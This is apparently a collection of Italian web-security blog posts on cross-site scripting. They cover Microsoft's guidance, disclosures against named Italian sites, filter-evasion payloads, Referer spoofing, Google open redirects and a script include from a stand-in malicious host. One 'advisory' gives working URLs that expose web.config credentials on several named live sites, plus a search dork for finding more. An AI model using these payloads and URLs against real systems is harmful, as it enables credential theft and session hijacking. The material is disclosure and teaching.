Microsoft releases Cross Site Scripting Security reference.
Cross-site scripting attacks are on the rise because they are easy for attackers to craft and execute. In addition, they allow attackers to gather the most valuable content (user data) rapidly and in a manner that can easily go unnoticed by the user and often the Web site or application itself. As XSS attacks continue, it is imperative that development organizations prepare themselves with the solutions needed to rapidly address the problems as they occur. It is equally important that long-term solutions including security policies/requirements are in place to design, implement, verify, and release code that proactively protects your customers from XSS attacks.
Microsoft has released another document as part of their SDLC document library. This time is a 21 page document titled “Quick Security Reference : Cross Site Scripting”. The scope of this document is to increase awareness of XSS Vulnerabilities to each persona involved in software development. In particular Microsoft identifies four different roles: Business decision maker, architect, developer and tester.
Quick Security Reference Cross Site Scripting Reference also includes results of a basic survey of software companies that have established practices for fixing vulnerabilities that lead to attacks approximate that the costs associated with remediating a Web site that has encountered XSS like attack is around 40-man-hours per incident. That cost combined with the cost of hiring or training engineer to address the problem (~100$/hour) and the average number of seven XSS (or similar) exploitable vulnerabilities per Web site brings the total estimated cost to $28,000 to fix each problem reactively.
Figure 1. “12 Web application vulnerabilities between January 2006 and June 2007” shows XSS at the top of the ladder leaving no doubt that XSS is definitely one of the most exploited vulnerabilities in today applications.
Each persona is then introduced to different topics related to XSS, strictly related to their role and responsibilities. An architect will be more involved in Input Validation Rules, Output encoding strategies, Future Design Considerations rather then Identifying Untrusted Input and Writing Secure Code just to mention few. Useful insights on how to identify and classify an XSS type vulnerability (Reflected, Stored, Local) and software development best practices are also part of the document.
In conclusion; Software developers may find this document surprisingly useful as it covers almost everything they need to know in order to prevent, discover, mitigate and fix XSS vulnerabilities.
Microsoft Anti-XSS Library v3.1 Released
The Microsoft Information Security Tools (IST) team has released the latest Microsoft Anti-Cross Site Scripting (Anti-XSS) Library version 3.1.
How does a cross-site scripting (XSS) vulnerability occur? An example is when a web application does not encode the output that is sent to the browser, this can make the site susceptible XSS attacks as well as other common attacks.
Using XSS attacks, malicious users can cause damage to a site including hijacking a client session, stealing a web session information as well as cookies and more. The Anti-XSS Library v3.1 is an encoding library specifically designed to help developers protect their ASP.NET web-based applications from XSS attacks. Watch the video, “Anti-XSS 3.0 Released,” as Vineet Batta and Anil Revuru (RV), Senior Software Developers from the Microsoft Information Security Tools (IST), provide an overview of the Anti-XSS Library and how it can prevent XSS attacks in your application.
The key new feature in Anti-XSS v3.1 is sanitization of HTML pages and fragments, ensuring all malicious scripts are removed and enabling the input safe to display to the browser.
Download the latest Anti-XSS Library v3.1. Learn more about this library and other information security tools on the IST blog.
source : Information Security - Thoughts & Experiences from Todd Kutzke
Eutelia, Remote File Inclusion, XSS etc etc etc
Cattivi e buoni programmatori anno 2008. Sarà perchè vengo dalla lettura dell'ultimo libro di joel, sarà perchè ultimamente sto facendo altri tipi di studi, ma più mi sforzo e più non riesco a spiegarmi come si possano realizzare prodotti scadenti.
Analiziamo per punti.
- Eutelia (sembra) non sviluppare mai da zero i propri siti, si affida a componenti CMS Opensource (Joomla).
- Nel caso in cui si presenti la necessità di integrare sistemi di business logic, questi vengono realizzati internamente.
- Sembra non si curi di aggiornare i prodotti di terze parti free utilizzati.
- Sembra non avere un team di beta testers.
- Sembra non aver sottoscritto contratti di penetration testing.
Per il punto uno e due c'è poco da argomentare.
Punto tre, la storia di Joomla è piena di vulnerabilità, lo sappiamo tutti e secunia ce lo ricorda molto volentieri [2]. Dall'anno 2003, anno di rilascio di questo prodotto, ben tredici advisories sono stati rilasciati, lode al team di joomla per aver risposto sempre velocemente con una percentuale del 85% di bug fix. A gennaio è stato rilasciato un advisory che permette ad utente (senza privilegi) di prendere il totale controllo dell'applicativo.. avranno scaricato ed installato le patch? (no).
Comunque, se i punti quattro e cinque non fossero veri, non sarei qui a scrivere questo ed altri post. Già alla fine di maggio dell'anno scorso [1], inciampai per sbaglio nel codice di questi programmatori. A distanza di circa un anno, sono dovuto tornare sul portale di eutelia per alcune ricerche, e, anche questa volta, ho trovato un altra perla del software. Stiamo parlando del prodotto EuteliaVOIP, nome dietro il quale si cela la lodevole iniziativa di portare la connettività nelle zone non ancora coperte da ADSL.
Con il tempo, Eutelia ha installato access point wifi che permettono, a fronte di una sottoscrizione, di navigare in velocità ADSL. Data la verifica di copertura del segnale da parte degli utenti prima e di tecnici eutelia poi, è possibile navigare in internet. Cool.
Attivare una connessione è più o meno semplice, basta acquistare uno starter kit (199€) e sottoscrivere l'abbonamento. Fatto questo verranno consegnate delle credenziali che, dopo essere validate dall'applicativo, permetteranno all'utente di avere una vita su internet. Per fare questo ci si collega all'indirizzo http://wifi.euteliavoip.com si seleziona la voce "Attiva Login" il sistema valida le credenziali e e così via. Tutto sembra andare liscio come l'olio, ma dando una piccola sbirciata "under the hood" ci troviamo davanti ad un altra cattiva (nulla) introduzione di sistemi di sicurezza.
Come è logico aspettarsi, il componente di accesso è sotto HTTPS, e viene visualizzato all'utente grazie ad un "iframe". Lo stesso avviene per i form di richiesta credenziali. Ora il problema non è tanto con l'implementazione (che sicuramente non è delle più eleganti), ma è con il componente stesso.
Nel momento in cui viene effettuato il click sul pulsante "Avanti" l'applicativo invia in le seguenti variabili
- wc_login (username)
- wc_password (password)
- wc_retpath (return path?)
- wc_dbos
- CmdAttiva
5 paramentri, di cui solo due sono valorizzati dall'utente. Uhm? Veloce controllo dei valori passati e... "ding". Supponiamo che tentiate il login con l'utenza "prova - prova", ecco i valori delle cinque le variabili.
wc_login = "prova" wc_password = "prova" wc_retpath = "wbc_skpopenaccountwifi" wc_dbos = "dbeutelia" CmdAttiva = "Attiva"
Il motivo dell'esistenza della variabile wbc_retpath è sconosciuto, perchè, anche settandola con altri valori (anche di altri componenti di eutelia) essi non sembrano in alcun modo influenzare l'applicativo, la cosa sconcertante è notare che.. il valore wc_dbos è il valore utilizzato dall'applicativo per indentificare il database su cui eseguire le query! Nel caso in cui non vengano effettuate modifiche a questa variabile si riceve l'errore
Email o Password errati E' anche possibile che la sottoscrizione non sia stata ancora confermata, controllore la propria casella di posta. Cliccare sul bottone "Indietro" del browser.....
Se invece si cambia il valore in qualsiasi altra cosa.. si riceve l'errore che, tristemente, ci conferma l'impossibilità di aprire il database richiesto o_O.
Naturalmente è possibile modificare a piacimento il valore di questa variabile per andare a renderizzare qualsiasi tipo di codice (anche php) all'interno dell'applicativo stesso. E attenzione quando si dice questo, perchè l'inclusione di codice remoto può portare a spiacevoli conseguenze.
Per dimostrare la vulnerabilità, ci limiteremo a valorizzare la variabile con il seguente codice
<iframe src="http://www.ansa.it" width="600" height="800">
Le conclusioni.. le lascio a voi. Auguro ad Eutelia di trovare programmatori che si possano definire tali e sopratutto di rivedere le proprie regole di rilascio in produzione.. sempre che esse esistano.
Riferimenti:
[1] "Tecniche errate di prevenzione, un esempio reale" - http://www.cyphersec.com/?p=76
[2] "Joomla! 1.x - Vulnerability Report" - http://secunia.com/product/5788/?task=statistics
Hacking Referring Urls
Wikipedia : The referer, or HTTP referer, identifies, from the point of view of an internet webpage or resource, the address of the webpage (commonly the URL, the more generic URI or the i18n updated IRI) of the resource which links to it. By checking the referer, the new page can see where the request came from. Referer logging is used to allow websites and web servers to identify where people are visiting them from, for promotional or security purposes. Since the referer can easily be spoofed (faked), however, it is of limited use in this regard except on a casual basis.
Gli HTTP Referer furono creati come strumento per aiutare il tracciamento e l'analisi delle fonti di traffico in ingresso nelle applicazioni Internet. Indifferentemente dal loro scopo, il loro utilizzo è proporzionalmente mutato nel tempo. Da strumento per operazioni di marketing /partnership, fino a sistema di sicurezza.
Questo sistema è decisamente popolare su siti di qualità e contenuto discutibile, il ragionamento si riproduce in 3 step.
- Utente effettua il login
- Nel caso in cui la login e la password siano corretti viene eseguito il redirect ad una pagina temporanea (es loginOK.aspx)
- loginOK.aspx al suo caricamento reindirizza l'utente alla pagina members.aspx, la quale verifica HTTP referer. Se è uguale a loginOK.aspx l'accesso viene effettuato.
Ma oltre a strumento di sicurezza, HTTP Referer viene utilizzato come tool di debug. Può capitare spesso di dover rintracciare richieste errate che hanno portato ad errori 404 (not found). Grazie a HTTP Referer sarà possibile individuare tutte le richieste che hanno effettivamente scatenato l'errore.
Gli HTTP Referer vengono anche utilizzati da sistemi di tracciamento ed analisi. Google Analytics (vedi immagine), per esempio, fornisce i risultati contenuti nella pagina Refering Sites grazie all'analisi delle intestazioni HTTP ricevute.
Il problema di queste interessanti funzionalità è dovuto dal fatto che sono facilmente alterabili. Live HTTP Headers, per esempio, permette la modifica di tutti gli header precedentemente al loro invio. In questo modo sarà possibile avere delle intestazioni HTTP con valori alterati a dovere(notate la riga 11).
1: GET /cyphersecurity HTTP/1.1
2: Host: feeds.feedburner.com
3: User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.9pre) Gecko/20071102 Firefox/2.0.0.9 Navigator/9.0.0.3
4: Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
5: Accept-Language: en-us,en;q=0.5
6: Accept-Encoding: gzip,deflate
7: Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
8: Keep-Alive: 300
9: Proxy-Connection: keep-alive
10: X-Moz: livebookmarks
11: Referer: hospoffatoquestarichiesta.it
12: If-Modified-Since: Sun, 18 Nov 2007 22:57:45 GMT
13: If-None-Match: gCsTB2NQlIQNEO+S4vAbCyjw97g
14: Cache-Control: max-age=0, max-age=0, max-age=0
Spesso, nell'analisi dei log, i più esperti, presteranno attenzione a chiamate con Refer nulli o comunque non logicamente validi. Questo è dovuto al fatto che alcune forme di attacco alle web applications vengono portati a termine proprio grazie alla modifiche delle intestazioni HTTP. Naturalmente HTTP Referer non può solo essere nullo o non valido, ma può contenere codice xss.
Esempio (notate riga #11)
1: GET /cyphersecurity HTTP/1.1
2: Host: feeds.feedburner.com
3: User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.9pre) Gecko/20071102 Firefox/2.0.0.9 Navigator/9.0.0.3
4: Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
5: Accept-Language: en-us,en;q=0.5
6: Accept-Encoding: gzip,deflate
7: Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
8: Keep-Alive: 300
9: Proxy-Connection: keep-alive
10: X-Moz: livebookmarks
11: Referer : http://www.mylamesite.com/myEvilJavaScriptThatPownzTheWorld.js
12: If-Modified-Since: Sun, 18 Nov 2007 22:57:45 GMT
13: If-None-Match: gCsTB2NQlIQNEO+S4vAbCyjw97g
14: Cache-Control: max-age=0, max-age=0, max-age=0
Decisamente interessante; Da ricordare che HTTP Referer non è l'unica intestazione HTTP che può creare dei problemi alle applicazioni web. In molti casi, User Agent (ovvero la voce che indica il browser in utilizzo) può contenere valori XSS i quali possono portare (in alcuni casi) al crash del server web stesso.
Nel caso di un controllo applicativo, è importante andare a verificare tutte le possibili varianti di attacchi XSS attraverso intenstazione HTTP. Tenendo a mente quanto spiegato nell'articolo Come Violare Filtri XSS e solo dopo aver effettuato tutti i test necessari, sarà possibile certificare lo stato di sicurezza dell'applicazione in esame.
Per evitare questo ed altri attacchi XSS il consiglio è sempre lo stesso. Verificare e validare TUTTO (read: files,intestazione http,cookies,etc) quello che viene letto/visualizzato dall'applicativo.
Come violare Filtri XSS
Quando si parte ad eseguire controlli e verifiche su applicativi importanti è necessario prestare la massima attenzione a quello che si sta facendo. Spesso c'imbattiamo in sistemi atti a prevenire ed evitare vulnerabilità di varie classi. La maggior parte di essi si compongono di sistemi "d'alterazione" e/o "pulizia" dell'input ricevuto. Facciamo un esempio, parliamo di Filtri XSS.
Per quanto abbiamo visto nei precedenti post e/o in tutti le rilevazioni di vulnerabilità XSS, il codice classico di esempio è:
<script>alert("Questo è un alert che dimostra vulnerabilità XSS")</script>
Nel caso in cui questo messaggio non si verifichi, considerare l'applicazione sicura è decisamente errato. Perchè? Nel primo caso è necessaio verificare come l'applicativo sta "digerendo" il nostro codice. Di media sono necessari pochi secondi per capire dove e cosa stiamo sbagliando.
Un esempio classico può essere
<INPUT type="text" value='<SCRIPT>alert("XSS")</SCRIPT>'>
Cosa sia necessario fare è piuttosto chiaro. Dobbiamo chiudere il tag input senza dimenticarci di chiudere la proprietà value. In questo modo il nostro "payload" viene craftato nel seguente modo:
'><script>alert('XSS')</script>
il quale di fatto verrà verificato come codice corretto. E quindi visualizzato a video. Avanza un problema però. Inserendo questo payload resteranno eclusi dalla renderizzazione due caratteri '>. Questo è dovuto dal fatto che il codice verrà trasformato in
<input type="text value =''><script>alert('XSS')</script>'>
Ora, non nel nostro caso: gli attacchi XSS vengono condotti per scopi ben più che differenti che da quelli legali. Pertanto, un paio di caratteri renderizzati a video privi di senso potrebbero destare sospetti. Soluzione? Creare un tag inesistente.
Payload:
'><script>alert('Questa volta funziona')</script><miotag='a
Codice generato
<input type="text value =''><script>alert('Questa volta funziona')</script><miotag='a'>
miotag è spudoratamente inventato, ma non essendo un tag valido.. non verrà renderizzato a video. Ma entriamo nel vivo dell'argomento ed affrontiamo i più banali filtri xss.
Consideriamo il fatto che i programmatori del sito che stiamo analizzando hanno inserito il classico sistema di sostituzione e duplicazione di single e double quote ' ". Il nostro payload a questo punto verrebbe renderizzato come
<INPUT type="text" value='\'><SCRIPT>alert(\"XSS\")</SCRIPT>'>
Naturalmente questo codice non funzionerà mai. Dopo esserci accertati di avere a che fare con questo tipo di filtro, l'unica soluzione possibile è quella di smettere di lavorare con i double\singles quotes.
Ora molti di voi si chiederanno:
"Ma come faccio a non utilizzare i double quotes?"
Risposta : String.fromCharCode,
Cercando rapidamente su w3schools scopriamo che: The fromCharCode() takes the specified Unicode values and returns a string.
Con i valori di una tabella decimale alla mano, possiamo andare a scrivere tranquillamente i nostri amati double quotes. Ecco un esempio (renderizza a video "XSS")
1: <script type="text/javascript">
2: document.write(String.fromCharCode(34,88,83,83,34))
3: </script>
stando a quanto abbiamo detto fin ora, per eludere completamente questo filtro XSS è necessario scrivere del codice simile a quello che segue.
1: <SCRIPT>
2: alert(String.fromCharCode(88,83,83))
3: </SCRIPT>
Advisory: lanuovastagione.it ed altri [xss e le credenziali amministrative in chiaro]
Non ce la faccio.
Domenica scorsa parlavo di un interessante argomento. L'importanza dei programmatori nell'era del mondo digitale. Siamo a tre giorni dalle primarie ed ecco come si presenta il comitato per il partito democratico di Walter Veltroni & company. Una catastrofe.
Mi rendo conto di rischiare e anche grosso pubblicando queste informazioni. Ma qualcuno deve pur capire a cosa si va incontro continuando a portare avanti questa politica di settore.. ahimè totalmente errata.
Partiamo da Cross Site Scripting. La pagina index.aspx, attraverso il non controllo della variabile GET t può condurre a differenti exploit. Ecco un esempio. Il codice javascript non codificato HTML è il seguente
1: </xss
2: /*complimenti signori*/
3: style=xss:expression(alert('owned'))
4: >
il quale codificato HTML si trasforma in
1: /* Cyphersec.com
2: 11 settembre 2007
3: www.lanuovastagione.it [index.aspx] || craftato con IE ||
4: variabile GET t non verificata >> XSS
5: */
6:http://www.lanuovastagione.it/gw/producer/index.aspx?t=%3C%2Fxss%2F%2Acomplimenti%20signori%2A%2Fstyle%3Dxss%3Aexpression%28alert%28%27owned%27%29%29%3E
Ma non finisce qui. Le vulnerabilità SQL Injection (su ricerca.aspx) diventano inutili quando possiamo tranquillamente andare a recuperare username e password ed altre informazioni "critiche" dal file web.config. Si avete letto bene. L'applicativo in questione vi mostrerà tutto.. ma proprio tutti i file che sono presenti all'interno della directory virtuale. Come?
Aprite il sito www.lanuovastagione.it nel menù in alto identificate la voce "discorsi ed intervalli" controllate il link a cui porta. DING!
vedete la nostra tanto amata variabile t? si vedete bene. questa variabile.. legge il contenuto della pagina (occhio ai valori querystring) /documenti/indice.htm e ne renderizza il contenuto a video. Bene perfetto.. complimenti ancora.
Come i programmatori .NET sapranno.. le applicazioni web "dovrebbero" archiviare le informazioni importanti in un file chiamato web.config. Questo file non può (e grazie a dio) essere visualizzato a video attraverso una chiamata diretta. Per esempio
1: http://www.lanuovastagione.it/web.config
vi ripoterà ad una pagina .NET la quale v'informerà che non potete visualizzare il suo contenuto perché a livello di architettura il framework non lo permette. giustissimo.
Con dispiacere.. andando a trasformare t=/documenti/indice.htm&<serie di chiave valore> in t=\web.config arriviamo a questo link
1: http://www.lanuovastagione.it/gw/producer/index.aspx?t=/web.config
Cosa ho fatto? ho semplicemente chiesto di chiamare sulla root principale il file web.config. Se notate si aprirà una pagina totalmente bianca (o del colore di background da voi impostato). Tutto qui? No. La pagina è stata correttamente renderizzata.. solo che non è visibile... Ora provate a fare "Visualizza Sorgente Pagina" o (se preferite) "View Source" e copritevi gli occhi.
username e password + databasename del database contenete i contenuti del portale. Poco importa se il database, a prima vista, sembra non essere totalmente esposto su internet. Ma che dire dei valori "impersonateLogin" e "ImpersonatePassword" oppure dei valori contenuti nel ramo "credentials"?
Vergogna.
update : su suggerimento di Denis, utilizzando la dork "inurl:/index.aspx?t=" sono "saltati" fuori altri siti vulnerabili.
http://www.diregiovani.it/gw/producer/index.aspx?t=/web.config
http://www.dsonline.it/gw/producer/index.aspx?t=/web.config
http://www.saperidemocratici.it/gw/producer/index.aspx?t=/web.config
http://www.italiafrica.it/gw/producer/index.aspx?t=/web.config
http://bologna07.festaunita.it/gw/producer/index.aspx?t=/web.config
http://byebye900.festaunita.it/gw/producer/index.aspx?t=/web.config
Redirectors, cosa sono e come funzionano
Continuiamo con la serie XSS. Oggi si parla di Redirectors..ovvero, il modo più semplice e comune per reindirizzare un utente da un sito ad un altro e intraprendere azioni xss o phishing. Molti siti, per esempio webmails, utilizzano sistemi di redirect. Ne esistono di diversi tipi, alcuni auto definiti "intelligenti", altri non fanno altro che aggiungere un table ("stai visitando un sito esterno a..") al DOM della pagina che si vuole visitare.
Esistono tre tipi di redirection
- Header Redirection : Può utilizzare un notevole numero di codici di risposta, ma fondamentalmente utilizza il protocollo HTTP per spostare la navigazione al sito scelto.
- Meta redirection : Usa un tag HTML per inviare l'utente al sito selezionato. Lavora nello stesso modo della Header Redirection, ad eccezione del fatto che, è possibile scegliere un intervallo di tempo prima del redirect.
- Dynamic Redirection : Questo tipo di redirect può essere incluso in video Flash, all'interno client o server side. Rispetto a tutti gli altri tipi di redirect ha la possibilità di essere gestito attraverso l'uso di eventi.
1: <!-- Attende cinque secondi, poi reindirizza l'utente a cyphersec.com -->
2: <META HTTPEQUIV="Refresh" CONTENT="5; URL=http://www.cyphersec.com">).
I codici di risposta che si possono ottenere successivamente ad un redirect sono
| 301 Moved Permanently | Un redirect di tipo permanente. Avviene quando una pagina è stata spostata da un sito ad un altra. |
| 302 Found 307 Temporary Redirect |
Redirect Temporaneo, viene utilizzata quando il redirect non è attivo per un piccolo periodo di tempo e/o il redirect coinvolge 2 o più pagine. |
| 303 See Other | Questo metodo permettere al OUTPUT di uno script POST al di reindirizzare lo user-agent ad una risorse specifica. |
Abbiamo parlato di teoria, passiamo alla pratica. Sfruttare questi "redirectors" (questo il termine usato) è relativamente semplice. Molte, se non quasi tutte, le applicazioni che fanno uso di sistemi di redirect vengono compromesse ed utilizzati al fine di lanciare attacchi phishing.
Domanda : Cosa è un redirector?
Risposta : Un redirector è una applicazione web "apparantemente con buona reputazione" che viene utilizzata per reindirizzare l'utente ad un sito "maligno".
Domanda : Come è possibile questo?
Risposta : Dipende dall'applicazione stessa. Di solito si cade su Javascript e codice di bassa qualità.
Anche applicazioni di "grande importanza" possono essere degli ottimi replicatori. Per esempio.. Google.
1: <!--
2: CypherSec.com
3: Utilizza Google come Redirector
4: invia l'utente ad un sito vulnerabile ad XSS (si sempre lo stesso sito)
5: -->
6:
7: http://www.google.com/pagead/iclk?sa=l&ai=Br3ycNQz5QfXBJGSiQLU0eDSAueHkArnhtWZAu-FmQWgjlkQAxgFKAg4AEDKEUiFOVD-4r2f-P____8BoAGyqor_A8gBAZUCCapCCqkCxU7NLQH0sz4&num=5&adurl=http://webmail.inet.it:80/?lang=<script%20%0a%0d>alert('XSS')%3B</script>
ma volendo si può usare una versione più piccola di questa funzionalità ed andare ad usare
1: <!--
2: CypherSec.com
3: Google Redirector
4: Versione ridotta
5: -->
6: http://www.google.com/url?q=http://webmail.inet.it:80/?lang=<script%20%0a%0d>alert('XSS')%3B</script>
1: <!--
2: Questo continua a restare il mio preferito.
3: Vulnerabilità segnalata più e più volte. Mai risolta
4: -->
5:
6: http://www.romanoprodi.it/cgi-bin/adon.cgi?referer=http://www.cyphersec.com&email=nonsonoio@forselui.com&azione=send_password
Il vantaggio che si ottiene dall'utilizzare sistemi redirector possono essere molteplici.
Due esempi veloci:
Phishing o attacco XSS : l'utente conosce, e si fida, il dominio che appare nel link ed effettua il click senza pensarci due volte.
Far scendere la reputazione di un sito rispetto ad altri. Molte persone, specialmente non del settore, attribuiranno l'infezione e/o il risultato di attacco come questo all'azienda che possiede il redirector.
Edit: [link] direttamente da gnucitizen.org pdp comunica una vulnerabilità sul protocollo jar la quale si basa su gli open redirectors di google
XSS scenari d’infezione
Come abbiamo detto XSS è una tecnica che "forza" una web application a visualizzare codice maligno. Il codice maligno "inserito" verrà eseguito nel contesto dell'attuale applicazione. Questo significa che, se una pagina vulnerabile ad XSS è considerata "trusted" dal client, il codice maligno "inserito" verrà eseguito nello contesto della stessa.
Tipicamente gli attacchi XSS sono composti da codice HTML/Javascript il quale non viene eseguito a livello server. Si scopre quindi che la vittima di questo tipi di attacchi non è il server stesso, ma l'utente finale. Nel momento in cui un attacco XSS è portato a termine, l'attaccante ha la possibilità di operare differenti attacchi che dimostreremo con il passare del tempo in questa serie di post (account hijacking, keyloggin, intranet hacking etc etc).
Un utente finale, per essere contaminato, deve visitare una pagina Web che contiene del codice Javascript maligno. La maggior parte degli attacchi XSS d'importaza rilevante vengono effettuati dopo aver compresso il server che ospita l'applicativo che si vuole visitare. I scenari classici sono
- Il proprietario del server può aver "deliberatamente" scelto di uplodare il codice maligno all'interno della pagina.
- La pagina è stata defacciata utilizzanto vulnerabilità a livello di network o applicativo.
- Una vulnerabilità XSS permanente è stata sfruttata.
- La più classica, la vittima ha clikkato su un link (non xss permanente) andando a caricare un link DOM basato su XSS.
Per dimostrare i metodi 1,2 avremmo bisogno di scrivere del codice che porterà ad una semplice pagina web contenente codice JS maligno. L'infezione avviene nel momento stesso in cui la pagina viene caricata. Terminato il caricamento.. l'utente è vittima.
1: <html>
2: <body>
3: <h1>Dimostrazione XSS</h1>
4: <!-- Cyphersec.com Dimostrazione infezione XSS-->
5: <script src="http://hostcattivo.com/eviljavascript/codice.js" />
6: </body>
7: </html>
La linea 5 dimostra dove il codice javascript sia stato inserito e come sia possibile, attraverso un semplice tag html, chiamare codice addizionale per eseguire codice arbitrario in una pagina web. In questo caso, la location dove risiede il codice è "hostcattivo" il quale può fungere da "js malaware repository".
I casi 3,4 invece richiedono che il sito sia vulnerabile ad XSS. Questo può accadere in due modi. L'utente sta visitando un link craftato ad hoc oppure, sta visitando (senza saperlo) un sito compromesso del tutto. La cosa tremendamente pericolosa di tutto questo è che, per essere infettati, non bisogna per forza di cose avere una macchina vulnerabile. Anche la macchina con tutte le patch in regola, firewallata come una base militare può essere vittima di un attacco XSS.
Ajax, user-experience e sicurezza. Una analisi dei concetti alla base delle nuove applicazioni Web
Ajax è la tecnologia che viene utilizzata per creare Web Applications interattive atte a fornire una modo totalmente nuovo d'interagire con contenuti e servizi.
Uno dei componenti "essenziali" di Ajax è l'oggetto Javascript XMLHttpRequest. Questo oggetto permette di inserire contenuto remoto da un server senza avere il bisogno di "refreshare" la pagina in cui esso è presente.
XmlHttpRequest è stato ideato pensando alla semplica ed intuitività d'impiego. Per esempio:
1: // Istanza XMLHttpRequest
2: var request = new XMLHttpRequest;
3: // Gestione delle risposte
4: request.onreadystatechange = function ()
5: {
6: if (request.readyState == 4)
7: {
8: // .. codice da eseguire ..
9: alert(request.responseText);
10: }
11: };
12:
13: // apre una request alla pagina aspx
14: request.open('GET', '/pagina.aspx', false);
15: // invia la richiesta
16: request.send(null);
Purtroppo, il modo in cui XMLHttpRequest è implementato in diversi browser non è lo stesso. Ci troveremo dunque, nel caso di Internet Explorer ad utilizzare il componente ActiveXObject("Msxml2.XMLHTTP") o in alcuni casi ActiveXObject("Microsoft.XMLHTTP") per utilizzare l'oggetto XMLHttpRequest.
Questo oggetto ha differenti metodi e proprietà. La lista che segue li elenca.
| Metodi/Proprietà | Descrizione |
| abort() | Annulla la richiesta |
| getAllResponseHeaders() | Recupera gli header di risposta in formato stringa |
| setRequestHeader(name, value) | Imposta il valore di un determinato header |
| open(method, URL) | Crea un oggetto di richiesta impostando il metodo che verrà utilizzato e l'url da cui verrà recuperato.
E' possibile specificare, come parametri opzionali, se si vuole creare una richiesta di tipo sincrona / asincrona e le credenziali per accedere alla richiesta nel caso in cui essa sia protetta. |
| onreadystatechange | Questa proprietà permette di gestire uno o più eventi che verrà scatenato durante il cambio di stati. |
| readyState | Parametro che definisce lo stato di una richiesta. I possibili valori, tutti numerici, sono
0 - non inizializzata |
| status | Indica lo stato di una risposta. I valori, numerici, possono essere (per esempio) 200 nel caso in cui la richiesta sia andata a buon fine o 302 nel caso in cui una reindirizzamento è necessario. |
| statusText | Questa proprietà ritorna la descrizione associata al codice di stato |
| responseText | Ritorna il contenuto della risposta ricevuta |
| responseXML | Simile a responseText, ad eccezione del fatto che ritorna la risposta è formattata DOM. |
responseText e responseXML sono due modi di rappresentare la risposta in formati quasi simili. Per esempio: XML ed HTML, pur essendo a prima vista differenti, sono concettualmente simili. Entrambi i modelli possono essere rappresentati su una radice gerarchica basata sugli standard definiti dal W3C. Questi standard definiscono come gli elementi devono essere creati e strutturati al fine di avere un documento valido. HTML, proprio come XML, può essere "parserizzato" in una struttura DOM.
La funzione getElementsByTagName, ritorna un array di elementi. Un altra funzione, getElementById, ritorna un singolo elemento basato sull'indentificatore passato come paramentro. Nel caso volessimo sostituire il contenuto di tutti i tag <p> all'interno di una pagina vulnerabile ad XSS potremmo eseguire il seguente codice.
1: // Recupera tutti i <p> presenti nella pagina
2: var p = document.getElementsByTagName('p');
3: // cicla la lista
4: for (var i = 0; i < p.length; i++)
5: {
6: // imposta il nuovo testo
7: p[i].innerHTML = 'all we love XSS!';
8: }
Similmente, possiamo agire sulla proprietà responseXML per visualizzare un alert, e quindi dimostrare la vulnerabilità.
1: // Creazione di una XMLHttpRequest
2: // Verificando il corretto oggetto ActiveX da usare
3: function getXmlRequestResponse ()
4: {
5: var xhr = null;
6: if (window.XMLHttpRequest)
7: {
8: xhr = new XMLHttpRequest();
9: } else if (window.createRequest)
10: {
11: xhr = window.createRequest();
12: } else if (window.ActiveXObject)
13: {
14: try
15: {
16: xhr = new ActiveXObject('Msxml2.XMLHTTP');
17: }
18: catch (e)
19: {
20: // Il carimento di Msxml2.XMLHTTP è fallito
21: // tentativo di creazione Microsoft.XMLHTTP
22: try
23: {
24: xhr = new ActiveXObject('Microsoft.XMLHTTP');
25: } catch (e)
26: {
27: // Fine ciclo di vita.
28: }
29: }
30: }
31: return xhr;
32: };
33:
34: // Istanza XMLHttpRequest
35: var request = getXmlRequestResponse();
36: // Gestione delle risposte
37: request.onreadystatechange = function ()
38: {
39: // Controllo stato (Success della request)
40: if (request.readyState == 4)
41: {
42: // eseguo codice in formato XML
43: alert(request.responseXML.getElementById('messaggio'));
44: }
45: };
46: // apre la request alla pagina.aspx
47: request.open('GET', '/pagina.xml.aspx', false);
48: // invia la richiesta
49: request.send(null);
Saper gestire XML ed Ajax è importante. Con il passare del tempo stanno diventando parte integrante d'internet. E' altresi importante capire l'impatto che queste tecnologie possono avere con il mondo della Web Application Security. Tecniche di testing e auditing sono in continua evoluzione.
Il rilevamento di XSS Injection points può essere un duro lavoro, ma con gli strumenti giusti e le skill necessarie è possibile trovarne in continunazione. Parleremo di questo nel prossimo post. Aloha.
Web Application Security
Il web. La casa di circa 800 milioni di "netcitizens". La casa di circa 100 milioni di siti web. Il canale su cui ogni giorno "scorrono" bilioni di dollari. E' un dato di fatto che l'economia internazionale è strettamente dipendente dal fenomeno "web".
La nostra vita si basa su termini come "web-mail", "forum", "blogs" , "home-banking" e tutti questi termini che fanno tanto figo. Le nostre informazioni più riservate, come nome,cognome, carte di credito ed altre informazioni "sensibili" sono archiviate e gestite da "applicazioni web" sparse su i server di mezzo mondo. Stando alle statistiche attuali, 8 applicazioni web su 10 presentano "gravi" problemi di sicurezza che possono esporre i dati archiviati.
Le organizzazioni che archiviano e gestiscono i "nostri" dati sono responsabili delle protezione degli stessi. Ogni giorno, assistiamo a fenomi di "furto d'identià", "defacement" ed articoli pubblicati in "full-disclosure" i quali dimostrano quanto il web, al giorno d'oggi, sia "totalmente insicuro".
Le applicazioni web iniziano, con il tempo, ad essere una delle colonne portante di importanti architetture di manutezione e gestione. "Transazioni bancarie" , "Sistemi di controllo Elettricità" , "Camere di Sorveglianza" etc etc. Tutte queste applicazioni possono essere compromesse.
La sicurezza informatica, per la sua vastità è una scienza complessa in cui ci s'incammina a testa bassa sperando di riuscire a capire qualcosa. La Web Application "Insecurity" ha iniziato a diventare così la più semplice, diretta e semplice tecnica per compromettere intere compagnie.
Ogni giorno, amministratori di sistema cercano di "perimetrizzare" le loro reti con firewalls, IDS, network scanners, password. A volte vengono applicate regole tanto precise che assomigliano sempre di più a tattiche di guerra vere e proprie. Il concetto base è semplice : permettere ad utenti legittimi di fare quello per cui la rete è stata progettata.. il resto.. fuori.
In qualche modo questo poteva essere valido fino a quando le web applications non hanno fatto il loro ingresso nel campo economico/planetario. La quasi totalità delle applicazioni "importanti" girano su porta 443 (SSL) oltre che alla 80 (HTTP). In parole povere.. si permette al mondo intero di giocare con questi canali e "sperare" che tutti giochino correttamente.
